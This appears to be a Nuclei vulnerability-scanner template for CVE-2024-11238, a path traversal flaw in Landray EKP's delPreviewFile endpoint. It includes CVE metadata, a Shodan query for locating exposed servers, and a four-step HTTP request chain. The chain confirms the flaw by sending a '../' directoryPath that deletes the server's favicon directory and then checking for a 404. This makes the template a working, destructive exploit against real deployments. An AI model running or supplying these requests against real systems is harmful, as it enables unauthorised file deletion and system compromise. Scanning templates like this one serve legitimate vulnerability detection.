A vulnerability, which was classified as critical, was found in Landray EKP up to 16.0. This affects the function delPreviewFile of the file /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile. The manipulation of the argument directoryPath leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
id: CVE-2024-11238
info:
name: Landray EKP - Path Traversal
author: theamanrawat
severity: medium
description: |
A vulnerability, which was classified as critical, was found in Landray EKP up to 16.0. This affects the function delPreviewFile of the file /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile. The manipulation of the argument directoryPath leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
impact: |
Remote attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
remediation: |
Update to the latest version that addresses this vulnerability or apply appropriate patches.
reference:
- https://github.com/CoinIsMoney/TempGuide/blob/main/LL-exp-02.pdf
- https://nvd.nist.gov/vuln/detail/CVE-2024-11238
- https://vuldb.com/?ctiid.284673
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
cvss-score: 6.5
cve-id: CVE-2024-11238
cwe-id: CWE-22
epss-score: 0.05747
epss-percentile: 0.92676
cpe: cpe:2.3:a:landray:landray_ekp:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: landray
product: landray_ekp
shodan-query: http.favicon.hash:831854882
tags: cve,cve2024,lfi,intrusive,vkev,vuln
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /login.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
internal: true
extractors:
- type: regex
part: body
name: faviconPath
internal: true
group: 1
regex:
- 'href="/resource/(.*?)/favicon.ico"'
- raw:
- |
GET /resource/{{faviconPath}}/favicon.ico HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
internal: true
- raw:
- |
GET /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile&directoryPath=../{{faviconPath}}/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- content_length == 0
condition: and
internal: true
- raw:
- |
GET /resource/{{faviconPath}}/favicon.ico HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 404
# digest: 4b0a0048304602210092bec69ed745ee5c95402bf9e9509cbfa32c972cd210b3d53bfcd0f98be9d8ac022100bed80b5e5040b19b29f2d8f1b0c46dc6fc22ba85e5600d92cdc7d4290a079c98:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.